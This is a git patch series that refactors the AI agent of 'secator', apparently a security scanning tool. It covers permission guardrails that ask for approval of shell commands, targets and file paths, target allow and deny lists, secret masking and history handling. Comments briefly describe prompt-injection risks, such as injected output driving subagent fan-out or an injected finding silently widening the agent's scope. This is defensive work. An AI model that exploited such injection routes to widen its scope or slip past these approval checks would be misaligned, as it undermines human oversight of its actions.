message={"role": "user", "content": maybe_encrypt(self.prompt, self.encryptor)}) + yield self._emit_user_prompt(self.prompt) yield Info(message=f"Resumed session from DB ({len(self.history.messages)} messages), model: {self.model}, mode: {self.mode}") # noqa: E501 yield from self._run_loop() @@ -827,7 +890,7 @@ def _detect_mode(self, force=False): self.mode = "chat" mode_max = get_mode_config(self.mode).get("max_iterations", self.max_iterations) self.max_iterations = max(self.max_iterations, mode_max) - self.system_prompt = get_system_prompt(self.mode, workspace_path=str(self.reports_folder), backend=self.backend) + self.system_prompt = self._system_prompt_for(self.mode) if not hasattr(self, 'tool_schemas') or not old_mode or old_mode != self.mode: self.tool_schemas = build_tool_schemas(self.mode, is_subagent=self.is_subagent, backend=self.backend) @@ -968,13 +1031,13 @@ def _process_tool_calls(self, tool_calls, ctx): self.debug(f'[tool_call] {name}: failed to parse: {tc.function.arguments[:200]}', sub='llm') schema = TOOL_SCHEMAS.get(name, {}).get("function", {}) properties = schema.get("parameters", {}).get("properties", {}) - error_msg = json.dumps({ - "error": f"Tool call '{tc_id}' rejected: malformed JSON arguments ({e})", - "raw_arguments": tc.function.arguments[:200], - "expected_schema": {k: v.get("type", "any") for k, v in properties.items()}, - "hint": "Retry with properly formatted JSON arguments.", - }, separators=(',', ':')) - yield _reject_tool_call(self, name, tc_id, error_msg, "malformed arguments") + yield _reject_malformed_tool_call( + self, name, tc_id, f"Tool call '{tc_id}' rejected: malformed JSON arguments ({e})", + { + "raw_arguments": tc.function.arguments[:200], + "expected_schema": {k: v.get("type", "any") for k, v in properties.items()}, + "hint": "Retry with properly formatted JSON arguments.", + }, "malformed arguments") continue # Coerce object/array args the model stringified (provider quirk) BEFORE @@ -993,13 +1056,13 @@ def _process_tool_calls(self, tool_calls, ctx): self.debug(f'[tool_call] skipping {name}: {reason}', sub='llm') schema = TOOL_SCHEMAS.get(name, {}).get("function", {}) params = schema.get("parameters", {}) - error_msg = json.dumps({ - "error": f"Tool call '{tc_id}' rejected: {reason}", - "required_fields": params.get("required", []), - "schema": {k: v.get("type", "any") for k, v in params.get("properties", {}).items()}, - "hint": "Provide all required fields. Retry with a complete arguments object.", - }, separators=(',', ':')) - yield _reject_tool_call(self, name, tc_id, error_msg, f"rejected: {reason}") + yield _reject_malformed_tool_call( + self, name, tc_id, f"Tool call '{tc_id}' rejected: {reason}", + { + "required_fields": params.get("required", []), + "schema": {k: v.get("type", "any") for k, v in params.get("properties", {}).items()}, + "hint": "Provide all required fields. Retry with a complete arguments object.", + }, f"rejected: {reason}") continue action["tool_call_id"] = tc_id @@ -1099,39 +1162,7 @@ def _dispatch_and_collect(self, actions, ctx): collected.append(result) ctx.results.append(result) - # Group by tool_call_id with an order-preserving dict, NOT itertools.groupby: - # batch results interleave by id, and groupby only groups consecutive keys, - # which would emit multiple tool_result messages for one tool_use (rejected - # by providers). - budget = self.history.get_action_budget(self.model) - fallback_path = Path(self.reports_folder) / "report.json" if self.reports_folder else None - grouped = {} - for r in collected: - grouped.setdefault(r["_context"]['tool_call_id'], []).append(r) - for tc_id, group_results in grouped.items(): - tc_name = group_results[0]["_context"]['tool_call_name'] - has_errors = any(r["_type"] == "error" for r in group_results) - serialized = [ - {k: v for k, v in r.items() if k not in INTERNAL_FIELDS} - for r in group_results - ] - tool_result_str = format_tool_result( - tc_name, "error" if has_errors else "success", - len(serialized), serialized) - tool_result_str = truncate_to_tokens( - tool_result_str, budget, self.model, fallback_path=fallback_path) - tool_result_str = maybe_encrypt(tool_result_str, self.encryptor) - self.history.add_tool_result(tc_name, tc_id, tool_result_str) - _tool_msg = {"role": "tool", "tool_call_id": tc_id, "name": tc_name, "content": tool_result_str} - _runner_id = next((r.get("_context", {}).get("task_id") - or r.get("_context", {}).get("workflow_id") - or r.get("_context", {}).get("scan_id") - for r in group_results if isinstance(r, dict)), "") - yield Ai(content=f"[{tc_name}] {len(serialized)} result(s)", - ai_type="tool_result", - message=cap_message(_tool_msg), - extra_data={"runner_id": _runner_id}, - _context=dict(self.context)) + yield from _yield_tool_results(self, collected) return { "follow_up_choices": follow_up_choices, @@ -1266,17 +1297,16 @@ def _prompt_and_redetect(self, choices, prompt_uuid=None): self.history.add_user(maybe_encrypt(answer, self.encryptor)) # Handle explicit mode switch (e.g. summarize → chat) + self.max_iterations += extra_iters if response.get("switch_mode"): self.mode = response["switch_mode"] self._rebuild_prompt_and_tools() self.history.set_system(maybe_encrypt(self.system_prompt, self.encryptor)) - self.max_iterations += extra_iters items.append(Info(message=f"Switched to {self.mode} mode")) else: # Re-detect mode (user may switch from chat to attack, etc.) previous_mode = self.mode self._detect_mode(force=True) - self.max_iterations += extra_iters if self.mode != previous_mode: self.history.set_system(maybe_encrypt(self.system_prompt, self.encryptor)) items.append(Info(message=f"Switched to {self.mode} mode")) From 265d9b1eceb6011daee9e3a17f3671f4847aed4d Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Mon, 13 Jul 2026 17:23:46 +0200 Subject: [PATCH 127/129] refactor(ai): dedupe actions/utils/interactivity (DRY sweep) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit actions: _ask_and_check (fold 3 guardrail ask-blocks), _child_run_opts/_child_preamble (shared by _run_runner/_handle_shell), drop _MAX_CHILD_ITERATIONS re-export (moved to test). utils: _show_models (3x setup_ai loop), _tool_call_fields (shared extraction), drop dead prompt_user(encryptor=) param. interactivity: {'stop'} default → base get_excluded_tools. No behavior change; AI suite green, flake8 clean. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01NNjPggRSVZ2xnLb7ZxWP5H --- secator/ai/actions.py | 144 ++++++++++++++++------------ secator/ai/interactivity.py | 15 ++- secator/ai/utils.py | 50 +++++----- tests/unit/test_ai_actions.py | 3 +- tests/unit/test_ai_interactivity.py | 2 +- 5 files changed, 116 insertions(+), 98 deletions(-) diff --git a/secator/ai/actions.py b/secator/ai/actions.py index 56539bded..f97889782 100644 --- a/secator/ai/actions.py +++ b/secator/ai/actions.py @@ -16,7 +16,6 @@ _is_heavy_runner, _sanitize_child_opts, build_subagent_prompt, _union_live_results, _coerce_finding_fields, _get_action_label, _decrypt_dict, ) -from secator.ai.utils import _MAX_CHILD_ITERATIONS # noqa: F401 - re-exported for tests importing it from actions # Bound recursive AI-subagent fan-out so injected output can't drive an @@ -173,6 +172,39 @@ def check_guardrails_sync(action: Dict, ctx: ActionContext) -> Tuple[Optional[st return e.value, items +def _ask_and_check(ctx: ActionContext, is_remote: bool, question: str, permission_type: str, + value: str, deny_message: str, command: Optional[str] = None, + reason: Optional[str] = None): + """Ask the user/backend to approve one "ask" guardrail layer (shell/target/path). + + Builds the common ask_kwargs, emits the remote pending-prompt (if any), then + calls ``ctx.backend.ask_user()`` and checks approval. This is a generator so a + remote backend's pending prompt can be yielded up through the caller's + ``yield from``. Returns ``None`` if approved, else ``deny_message``. + """ + ask_kwargs = dict( + question=question, + choices=["allow", "allow_all", "deny"], + session_id=ctx.session_id, + prompt_type="permission", + permission_type=permission_type, + value=value, + engine=ctx.permission_engine, + # unique id per prompt so its remote poll matches only its own answer + prompt_uuid=str(uuid.uuid4()), + ) + if command is not None: + ask_kwargs["command"] = command + if reason is not None: + ask_kwargs["reason"] = reason + if is_remote: + yield ctx.backend.build_pending_prompt(**ask_kwargs) + response = ctx.backend.ask_user(**ask_kwargs) if ctx.backend else None + if not _is_approved(response): + return deny_message + return None + + def check_guardrails(action: Dict, ctx: ActionContext): """Check action against guardrails before dispatching. @@ -224,23 +256,16 @@ def check_guardrails(action: Dict, ctx: ActionContext): # Handle shell command prompts (unknown commands or parse failures) if result.shell_command: parse_failed = "Could not parse" in (result.reason or "") - ask_kwargs = dict( + denial = yield from _ask_and_check( + ctx, is_remote, question=result.reason or "Shell command requires approval", - choices=["allow", "allow_all", "deny"], - session_id=ctx.session_id, - prompt_type="permission", permission_type="shell", value=result.shell_command, + deny_message="Action denied: shell command not approved", reason=result.reason, - engine=ctx.permission_engine, - # unique id per prompt so its remote poll matches only its own answer - prompt_uuid=str(uuid.uuid4()), ) - if is_remote: - yield ctx.backend.build_pending_prompt(**ask_kwargs) - response = ctx.backend.ask_user(**ask_kwargs) if ctx.backend else None - if not _is_approved(response): - return "Action denied: shell command not approved" + if denial: + return denial if parse_failed: return None @@ -249,22 +274,16 @@ def check_guardrails(action: Dict, ctx: ActionContext): recheck = ctx.permission_engine._check_value("target", target) if recheck.decision == "allow": continue - ask_kwargs = dict( + denial = yield from _ask_and_check( + ctx, is_remote, question=f"Target {target} requires approval", - choices=["allow", "allow_all", "deny"], - session_id=ctx.session_id, - prompt_type="permission", permission_type="target", value=target, + deny_message=f"Action denied: target {target} not approved", command=cmd_display, - engine=ctx.permission_engine, - prompt_uuid=str(uuid.uuid4()), ) - if is_remote: - yield ctx.backend.build_pending_prompt(**ask_kwargs) - response = ctx.backend.ask_user(**ask_kwargs) if ctx.backend else None - if not _is_approved(response): - return f"Action denied: target {target} not approved" + if denial: + return denial # Handle path prompts if result.paths: @@ -272,22 +291,16 @@ def check_guardrails(action: Dict, ctx: ActionContext): path_access_map = {p: a for p, a in detect_paths_with_access(cmd)} for path in result.paths: access_type = path_access_map.get(path, "read") - ask_kwargs = dict( + denial = yield from _ask_and_check( + ctx, is_remote, question=f"{access_type.capitalize()} access to {path} requires approval", - choices=["allow", "allow_all", "deny"], - session_id=ctx.session_id, - prompt_type="permission", permission_type=access_type, value=path, + deny_message=f"Action denied: {access_type} access to {path} not approved", command=cmd_display, - engine=ctx.permission_engine, - prompt_uuid=str(uuid.uuid4()), ) - if is_remote: - yield ctx.backend.build_pending_prompt(**ask_kwargs) - response = ctx.backend.ask_user(**ask_kwargs) if ctx.backend else None - if not _is_approved(response): - return f"Action denied: {access_type} access to {path} not approved" + if denial: + return denial # Re-check to see if more layers need prompting result = ctx.permission_engine.check_action(action) @@ -413,6 +426,36 @@ def _gather_subagent_evidence(ctx: "ActionContext", targets: list, limit: int = return "\n".join(lines) +def _child_run_opts(ctx: ActionContext) -> Dict: + """Common run_opts shared by every child runner (task/workflow/shell command).""" + return { + "print_item": not ctx.silent, + "print_line": ctx.verbose and not ctx.silent, + "print_progress": False, + "print_reports_message": False, + "enable_reports": True, + "exporters": [], + "sync": ctx.sync, + } + + +def _child_preamble(ctx: ActionContext, context: Dict) -> Tuple[Dict, Optional["Warning"]]: + """Shared child-runner prelude: stamp task_chunk_id + subagent flag, then rebuild + persistence hooks (or return a denial). + + Propagates driver hooks (mongodb/api): a sync sub-runner skips the pickle path + that normally re-registers them, so without this its results never persist. + Don't silently spawn a persistence-less child when the parent has drivers. + + Returns ``(hooks, denial)``; if ``denial`` is non-None the caller must yield it + and skip the spawn. + """ + context["task_chunk_id"] = str(uuid.uuid4()) + if ctx.subagent: + context["subagent"] = ctx.context.get("subagent", True) + return _build_child_hooks_or_denial(context) + + def _run_runner(action: Dict, ctx: ActionContext, runner_type: str) -> Generator: """Execute a secator task or workflow. @@ -468,15 +511,9 @@ def _run_runner(action: Dict, ctx: ActionContext, runner_type: str) -> Generator return run_opts = { - "print_item": not ctx.silent, - "print_line": ctx.verbose and not ctx.silent, + **_child_run_opts(ctx), "print_cmd": not ctx.silent and not ctx.subagent, "print_cmd_icon": "└", - "print_progress": False, - "print_reports_message": False, - "enable_reports": True, - "exporters": [], - "sync": ctx.sync, "tty": not ctx.subagent and ctx.sync, **opts, } @@ -492,14 +529,7 @@ def _run_runner(action: Dict, ctx: ActionContext, runner_type: str) -> Generator run_opts["sync"] = False run_opts["tty"] = False - context["task_chunk_id"] = str(uuid.uuid4()) - if ctx.subagent: - context["subagent"] = ctx.context.get("subagent", True) - - # Propagate driver hooks (mongodb/api): a sync sub-runner skips the pickle path - # that normally re-registers them, so without this its results never persist. - # Don't silently spawn a persistence-less child when the parent has drivers - hooks, denial = _build_child_hooks_or_denial(context) + hooks, denial = _child_preamble(ctx, context) if denial is not None: yield denial return @@ -593,13 +623,9 @@ def _handle_shell(action: Dict, ctx: ActionContext) -> Generator: return try: - context["task_chunk_id"] = str(uuid.uuid4()) - if ctx.subagent: - context["subagent"] = ctx.context.get("subagent", True) - # Don't silently run a persistence-less child when the parent has drivers # (same guard _run_runner uses for spawned tasks/workflows). - hooks, denial = _build_child_hooks_or_denial(context) + hooks, denial = _child_preamble(ctx, context) if denial is not None: yield denial return @@ -612,14 +638,8 @@ def _handle_shell(action: Dict, ctx: ActionContext) -> Generator: # Mirrors _run_runner's wiring: quiet, reports enabled, never dangerous (defense # in depth). `env` is the sanitized process env so `env`/`printenv` can't leak secrets. run_opts = { - "print_item": not ctx.silent, - "print_line": ctx.verbose and not ctx.silent, + **_child_run_opts(ctx), "print_cmd": False, - "print_progress": False, - "print_reports_message": False, - "enable_reports": True, - "exporters": [], - "sync": ctx.sync, "dangerous": False, "env": _sanitized_env(), } diff --git a/secator/ai/interactivity.py b/secator/ai/interactivity.py index 5927da0a1..32a84e2ed 100644 --- a/secator/ai/interactivity.py +++ b/secator/ai/interactivity.py @@ -33,8 +33,12 @@ def ask_user(self, question: str, choices: List[str], session_id: str, raise NotImplementedError def get_excluded_tools(self) -> set: - """Return tool names to exclude from the LLM's available tools.""" - return set() + """Return tool names to exclude from the LLM's available tools. + + Excludes "stop" by default: only AutoBackend (no user to hand control back + to) needs the LLM to have an explicit stop tool. + """ + return {"stop"} def get_extra_tools(self) -> list: """Return additional tool schemas (not in TOOL_SCHEMAS) to inject.""" @@ -44,9 +48,6 @@ def get_extra_tools(self) -> list: class CLIBackend(InteractivityBackend): """Local terminal interactive backend.""" - def get_excluded_tools(self) -> set: - return {"stop"} - def ask_user(self, question, choices, session_id, prompt_type="follow_up", **context): if prompt_type == "permission": return self._handle_permission(**context) @@ -79,7 +80,6 @@ def _handle_follow_up(self, choices, **context): return None return prompt_user( history, - encryptor=context.get("encryptor"), max_iterations=context.get("max_iterations", 10), choices=choices, mode=context.get("mode", "chat"), @@ -95,9 +95,6 @@ def __init__(self, timeout: int = 600, query_engine: Any = None, poll_interval: self.query_engine = query_engine self.poll_interval = poll_interval - def get_excluded_tools(self) -> set: - return {"stop"} - def build_pending_prompt(self, question, choices, session_id, prompt_type="follow_up", **context): """Build a pending Ai finding for the remote user to see and answer. diff --git a/secator/ai/utils.py b/secator/ai/utils.py index 6ce27666f..f7cee7108 100644 --- a/secator/ai/utils.py +++ b/secator/ai/utils.py @@ -5,7 +5,7 @@ import os import random from dataclasses import fields -from typing import Any, Dict, List, Optional +from typing import Any, Dict, List, Optional, Tuple from secator.definitions import LLM_SPINNER_MESSAGES from secator.config import CONFIG @@ -362,6 +362,17 @@ def _decrypt_dict(d: Dict, encryptor: Any) -> Dict: return result +def _tool_call_fields(tc) -> Tuple[str, str]: + """Extract (name, arguments) from a tool_call, handling both the dict shape + (litellm/OpenAI JSON) and the SDK object shape (attribute access).""" + fn = tc.get("function", {}) if isinstance(tc, dict) else getattr(tc, "function", None) + if isinstance(fn, dict): + return fn.get("name", ""), fn.get("arguments", "") + if fn is not None: + return getattr(fn, "name", ""), getattr(fn, "arguments", "") + return "", "" + + def _strip_leading_orphan_tools(messages: List[Dict]) -> int: """Drop leading 'tool' (tool_result) messages with no preceding tool_use. @@ -467,11 +478,7 @@ def _repair_orphan_tool_uses(messages: List[Dict]) -> int: tc_id = tc.get("id") if isinstance(tc, dict) else getattr(tc, "id", None) if not tc_id or tc_id in satisfied: continue - fn = tc.get("function", {}) if isinstance(tc, dict) else getattr(tc, "function", None) - if isinstance(fn, dict): - name = fn.get("name", "") - else: - name = getattr(fn, "name", "") if fn else "" + name, _ = _tool_call_fields(tc) to_insert.append({ "role": "tool", "tool_call_id": tc_id, @@ -625,13 +632,7 @@ def _count(**kw): prompt_tokens = _count(messages=messages) completion_text = content or "" for tc in tool_calls or []: - fn = tc.get("function", {}) if isinstance(tc, dict) else getattr(tc, "function", None) - if isinstance(fn, dict): - name, args = fn.get("name", ""), fn.get("arguments", "") - elif fn is not None: - name, args = getattr(fn, "name", ""), getattr(fn, "arguments", "") - else: - name, args = "", "" + name, args = _tool_call_fields(tc) completion_text += f" {name} {args}" completion_tokens = _count(text=completion_text) return { @@ -806,6 +807,12 @@ def _format_model(m, idx=None): prefix = f"[dim]{idx:>4}[/] " if idx is not None else " " return prefix + colored + def _show_models(displayed, suffix, leading_newline=False): + prefix = "\n" if leading_newline else "" + console.print(f"{prefix}[bold] Found {len(displayed)} models{suffix}:[/]") + for i, m in enumerate(displayed, 1): + console.print(_format_model(m, idx=i), highlight=False) + # Show current config current_model = CONFIG.addons.ai.default_model current_intent = CONFIG.addons.ai.intent_model @@ -821,9 +828,7 @@ def _format_model(m, idx=None): # Display all models numbered displayed = all_models suffix = '' - console.print(f"[bold] Found {len(displayed)} models{suffix}:[/]") - for i, m in enumerate(displayed, 1): - console.print(_format_model(m, idx=i), highlight=False) + _show_models(displayed, suffix) # Enter prompt loop while True: @@ -832,9 +837,7 @@ def _format_model(m, idx=None): if not choice: # Empty input: re-show current list - console.print(f"\n[bold] Found {len(displayed)} models{suffix}:[/]") - for i, m in enumerate(displayed, 1): - console.print(_format_model(m, idx=i), highlight=False) + _show_models(displayed, suffix, leading_newline=True) continue if choice.lower() in ('q', 'quit', 'exit'): @@ -865,9 +868,7 @@ def _format_model(m, idx=None): else: displayed = filtered suffix = f' matching "{choice}"' - console.print(f"\n[bold] Found {len(displayed)} models{suffix}:[/]") - for i, m in enumerate(displayed, 1): - console.print(_format_model(m, idx=i), highlight=False) + _show_models(displayed, suffix, leading_newline=True) continue # Model selected - save config @@ -910,7 +911,7 @@ def _format_model(m, idx=None): return selected -def prompt_user(history, encryptor=None, max_iterations=10, choices=None, +def prompt_user(history, max_iterations=10, choices=None, mode="chat", model=None): """Prompt user for follow-up input via interactive menu. @@ -920,7 +921,6 @@ def prompt_user(history, encryptor=None, max_iterations=10, choices=None, Args: history: ChatHistory instance (read-only, used for token counts and compaction). - encryptor: Optional SensitiveDataEncryptor (unused, kept for compat). max_iterations: Current max iterations (used for continue message). choices: Optional list of choice strings from LLM follow_up action. model: Optional LLM model name for token count display. @@ -1037,7 +1037,7 @@ def prompt_user(history, encryptor=None, max_iterations=10, choices=None, history.compact(model) new_tokens = history.count_tokens(model) console.print(f"[bold green]Compacted context: {old_tokens} -> {new_tokens} tokens[/]") - return prompt_user(history, encryptor, max_iterations, choices, mode, model) + return prompt_user(history, max_iterations, choices, mode, model) # exit return None diff --git a/tests/unit/test_ai_actions.py b/tests/unit/test_ai_actions.py index 9abb82691..4b16dc5cf 100644 --- a/tests/unit/test_ai_actions.py +++ b/tests/unit/test_ai_actions.py @@ -12,9 +12,10 @@ _handle_query, _handle_add_finding, _run_runner, _decrypt_dict, _build_hooks_from_context, _coerce_finding_fields, _sanitize_child_opts, _build_child_hooks_or_denial, - _MAX_CHILD_ITERATIONS, _MAX_SUBAGENT_DEPTH, _MAX_SUBAGENTS_PER_TURN, + _MAX_SUBAGENT_DEPTH, _MAX_SUBAGENTS_PER_TURN, _MAX_SHELL_OUTPUT_CHARS, _truncate, ) + from secator.ai.utils import _MAX_CHILD_ITERATIONS from secator.runners import Task from secator.output_types import Ai, Error, Info, Warning, Vulnerability, Url diff --git a/tests/unit/test_ai_interactivity.py b/tests/unit/test_ai_interactivity.py index 8cc7cdac1..b9453731d 100644 --- a/tests/unit/test_ai_interactivity.py +++ b/tests/unit/test_ai_interactivity.py @@ -18,7 +18,7 @@ def test_base_ask_user_raises(self): def test_base_get_excluded_tools(self): from secator.ai.interactivity import InteractivityBackend backend = InteractivityBackend() - self.assertEqual(backend.get_excluded_tools(), set()) + self.assertEqual(backend.get_excluded_tools(), {"stop"}) def test_base_get_extra_tools(self): from secator.ai.interactivity import InteractivityBackend From 9f2b01c8aaedda81def60b277872d9a2aa80b717 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Mon, 13 Jul 2026 17:35:04 +0200 Subject: [PATCH 128/129] refactor(ai): dedupe guardrails/history/tools/session/encryption + drop dead code guardrails: _matches_any, _compile_patterns, _show_menu (3 prompt_* scaffolds), _is_default_deny (3 sites), unused locals (structural only, no allow/deny change). history: _usable_tokens (4 sites), billed-usage loop. tools: _TARGETS_SCHEMA. session: single-pass list_sessions. encryption: single decrypt loop. prompts: delete commented-out format_user_initial. No behavior change; 653 AI tests pass, flake8 clean. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01NNjPggRSVZ2xnLb7ZxWP5H --- secator/ai/encryption.py | 8 +-- secator/ai/guardrails.py | 129 ++++++++++++++++++++++----------------- secator/ai/history.py | 41 ++++++------- secator/ai/prompts.py | 21 ------- secator/ai/session.py | 25 +++++--- secator/ai/tools.py | 19 +++--- 6 files changed, 119 insertions(+), 124 deletions(-) diff --git a/secator/ai/encryption.py b/secator/ai/encryption.py index 4aa3ed3f0..ff897d197 100644 --- a/secator/ai/encryption.py +++ b/secator/ai/encryption.py @@ -129,14 +129,10 @@ def decrypt(self, text: str) -> str: """Restore original sensitive values from placeholders.""" result = text - # Full placeholders [TYPE:hash] + # Full placeholders [TYPE:hash] and their bracket-stripped form TYPE:hash for placeholder, original in self.pii_map.items(): result = result.replace(placeholder, original) - - # Without brackets TYPE:hash - for placeholder, original in self.pii_map.items(): - no_brackets = placeholder[1:-1] - result = result.replace(no_brackets, original) + result = result.replace(placeholder[1:-1], original) # Bare hashes for hash_value, original in self.hash_map.items(): diff --git a/secator/ai/guardrails.py b/secator/ai/guardrails.py index b1edb53ff..eb77a616d 100644 --- a/secator/ai/guardrails.py +++ b/secator/ai/guardrails.py @@ -396,7 +396,7 @@ def _parse_subcommands(command: str) -> List[List[str]]: # Normalize LLM-generated multiline commands: join lines where a pipe/operator # starts the next line (e.g. "cmd1\n| cmd2" -> "cmd1 | cmd2") command = re.sub(r'\s*\n\s*(\||\&\&|\|\|)', r' \1', command) - cmds, ops, redirects = extract_commands(command) + cmds, _, _ = extract_commands(command) return [c for c in cmds if c] except FileNotFoundError: # safecmd is installed but the `shfmt` binary it shells out to isn't on PATH. @@ -751,6 +751,11 @@ class PermissionResult: shell_command: str = "" # full command when prompting for shell approval +def _is_default_deny(result: "PermissionResult") -> bool: + """True if `result` is the catch-all "no rule matched" deny, not an explicit deny rule.""" + return "No rule for" in result.reason + + # Finding types downstream auto-trusts. tasks/ai.py _auto_approve_workspace_targets() # searches _type:"target" findings and auto-approves them as in-scope, so an injected # add_finding of one of these silently widens scope. @@ -780,25 +785,11 @@ def __init__( # Platform-supplied allow-list of target regexes (e.g. validated workspace mandates): # constrains the AI to this scope. Regex full-match, falls back to literal match. - self.allowed_targets: List = [] - for pat in (allowed_targets or []): - if not pat: - continue - try: - self.allowed_targets.append(re.compile(pat)) - except re.error: - self.allowed_targets.append(re.compile(re.escape(pat))) + self.allowed_targets: List = self._compile_patterns(allowed_targets) # Platform-supplied deny-list of target regexes (mandate `deny` scope). Symmetric # to allowed_targets but DENY WINS, mirroring the mandate scope matcher. - self.denied_targets: List = [] - for pat in (denied_targets or []): - if not pat: - continue - try: - self.denied_targets.append(re.compile(pat)) - except re.error: - self.denied_targets.append(re.compile(re.escape(pat))) + self.denied_targets: List = self._compile_patterns(denied_targets) for category in ("allow", "deny", "ask"): for rule_str in config.get(category, []): @@ -806,19 +797,34 @@ def __init__( rule_type, patterns = parse_rule(resolved) self.rules[category].append((rule_type, patterns)) - def _matches_allowed_targets(self, value: str) -> bool: - """Check if a target value matches any platform-supplied allowed_targets regex.""" - for rx in self.allowed_targets: + @staticmethod + def _compile_patterns(patterns: List[str]) -> List: + """Compile a list of regex patterns, falling back to a literal-escaped match on error.""" + compiled: List = [] + for pat in (patterns or []): + if not pat: + continue + try: + compiled.append(re.compile(pat)) + except re.error: + compiled.append(re.compile(re.escape(pat))) + return compiled + + @staticmethod + def _matches_any(patterns: List, value: str) -> bool: + """Check if a value matches any of the given compiled regexes (full or partial match).""" + for rx in patterns: if rx.fullmatch(value) or rx.match(value): return True return False + def _matches_allowed_targets(self, value: str) -> bool: + """Check if a target value matches any platform-supplied allowed_targets regex.""" + return self._matches_any(self.allowed_targets, value) + def _matches_denied_targets(self, value: str) -> bool: """Check if a target value matches any platform-supplied denied_targets regex.""" - for rx in self.denied_targets: - if rx.fullmatch(value) or rx.match(value): - return True - return False + return self._matches_any(self.denied_targets, value) def _resolve_variables(self, rule: str) -> str: """Replace {workspace} and {targets} variables in a rule string.""" @@ -869,7 +875,7 @@ def check_action(self, action: Dict) -> PermissionResult: if path_result.decision == "deny": # Explicit deny rule: block immediately # "No rule" default deny: prompt user instead - if "No rule for" in path_result.reason: + if _is_default_deny(path_result): ask_paths.append((path, access)) else: return PermissionResult( @@ -949,7 +955,7 @@ def _check_action_type(self, action_type: str, action: Dict) -> PermissionResult result = self._check_value("shell", cmd_name) if result.decision == "deny": # Distinguish explicit deny rules from "no matching rule" default - if "No rule for" in result.reason: + if _is_default_deny(result): unmatched.append(cmd_name) else: return result # Explicit deny rule hit @@ -1058,7 +1064,7 @@ def _check_values(self, rule_type: str, values: List[str]) -> PermissionResult: result = self._check_value(rule_type, value) if result.decision == "deny": # "No rule for" default deny → ask user instead of blocking - if "No rule for" in result.reason: + if _is_default_deny(result): ask_targets.append(value) else: return result # Explicit deny rule: block @@ -1102,11 +1108,8 @@ def prompt_target(self, target: str, interactive: bool = True, command: str = "" Returns: 'allow' or 'deny' """ - if not interactive: - return "deny" - choices = build_target_choices(target) - selected_indices = self._show_target_menu(target, choices, command=command) + selected_indices = self._show_target_menu(target, choices, command=command, interactive=interactive) if selected_indices is None: return "deny" @@ -1138,11 +1141,6 @@ def prompt_path(self, path: str, access_type: str = "read", interactive: bool = Returns: 'allow' or 'deny' """ - if not interactive: - return "deny" - - from secator.rich import InteractiveMenu - action_label = "Read from" if access_type == "read" else "Write to" parent = '/'.join(path.split('/')[:-1]) if '/' in path else path options = [ @@ -1150,16 +1148,16 @@ def prompt_path(self, path: str, access_type: str = "read", interactive: bool = {"label": f"Allow {access_type}({parent}/*)"}, {"label": "Deny (block this action)"}, ] - result = InteractiveMenu( + idx = self._show_menu( f"{action_label} {path} requires approval.", options, description=command, - ).show() + interactive=interactive, + ) - if result is None: + if idx is None: return "deny" - idx, _ = result if idx == 2: # Deny return "deny" elif idx == 0: # Exact path @@ -1179,11 +1177,6 @@ def prompt_shell(self, command: str, reason: str = "", interactive: bool = True) Returns: 'allow' or 'deny' """ - if not interactive: - return "deny" - - from secator.rich import InteractiveMenu - # Extract command names; use the unmatched one(s) from reason for option 2 cmd_names = _extract_cmd_names(command) # Parse unmatched commands from reason like "No rule for command(s): ./terrapin-scanner, foo" @@ -1199,16 +1192,16 @@ def prompt_shell(self, command: str, reason: str = "", interactive: bool = True) {"label": "Deny (block this action)"}, ] title = reason or "Shell command requires approval" - result = InteractiveMenu( + idx = self._show_menu( title, options, description=f"[gray42]{command}[/gray42]", - ).show() + interactive=interactive, + ) - if result is None: + if idx is None: return "deny" - idx, _ = result if idx == 0: # Allow ONLY this invocation — no rule added, next call re-prompts return "allow" elif idx == 1: # Allow all commands with this name @@ -1216,28 +1209,54 @@ def prompt_shell(self, command: str, reason: str = "", interactive: bool = True) return "allow" return "deny" - def _show_target_menu(self, target: str, choices: List[Dict], command: str = "") -> List[int]: + def _show_target_menu( + self, target: str, choices: List[Dict], command: str = "", interactive: bool = True + ) -> Optional[List[int]]: """Show interactive menu. Separated for testability. Args: target: The target being prompted about choices: List of choice dicts from build_target_choices command: The shell command triggering this prompt (for display) + interactive: If False, auto-deny without prompting Returns: List of selected indices, or None if cancelled """ - from secator.rich import InteractiveMenu - options = [{"label": choice["label"]} for choice in choices] - result = InteractiveMenu( + idx = self._show_menu( f"Target {target} is not in allowed targets. Add it?", options, description=command, - ).show() + interactive=interactive, + ) + if idx is None: + return None + return [idx] + + def _show_menu( + self, title: str, options: List[Dict], description: str = "", interactive: bool = True + ) -> Optional[int]: + """Shared interactive-menu scaffold used by prompt_path/prompt_shell/_show_target_menu. + + Args: + title: Menu title/prompt text + options: List of {"label": ...} option dicts + description: Extra context shown below the title (e.g. the shell command) + interactive: If False, auto-deny (return None) without prompting + + Returns: + The selected index, or None if not interactive or the user cancelled. + """ + if not interactive: + return None + + from secator.rich import InteractiveMenu + + result = InteractiveMenu(title, options, description=description).show() if result is None: return None idx, _ = result - return [idx] + return idx diff --git a/secator/ai/history.py b/secator/ai/history.py index 94294b5d0..ff0352d45 100644 --- a/secator/ai/history.py +++ b/secator/ai/history.py @@ -119,6 +119,11 @@ def truncate_to_tokens( return content[:truncate_at] + f"\n\n[TRUNCATED]{file_hint}" +def _usable_tokens(model: str) -> int: + """Model's context window minus the reserved output allowance.""" + return get_context_window(model) - OUTPUT_TOKEN_RESERVATION + + SUMMARIZATION_PROMPT = """Summarize the following attack session history into a compact context. Keep ONLY the essential information: - Key findings (vulnerabilities, open ports, services, credentials) @@ -233,7 +238,7 @@ def _trim_budget(self, max_tokens_total: int = 0) -> int: """ if not self.model: return max_tokens_total - window_budget = max(get_context_window(self.model) - OUTPUT_TOKEN_RESERVATION, 1) + window_budget = max(_usable_tokens(self.model), 1) if max_tokens_total > 0: return min(max_tokens_total, window_budget) return window_budget @@ -351,7 +356,7 @@ def get_available_tokens(self, model: str) -> int: Available tokens (context - reservation - used) """ context_window = get_context_window(model) - usable = context_window - OUTPUT_TOKEN_RESERVATION + usable = _usable_tokens(model) used = self.count_tokens(model) available = usable - used debug( @@ -370,8 +375,7 @@ def should_compact(self, model: str, threshold_pct: int = COMPACTION_THRESHOLD_P Returns: True if compaction needed """ - context_window = get_context_window(model) - usable = context_window - OUTPUT_TOKEN_RESERVATION + usable = _usable_tokens(model) used = 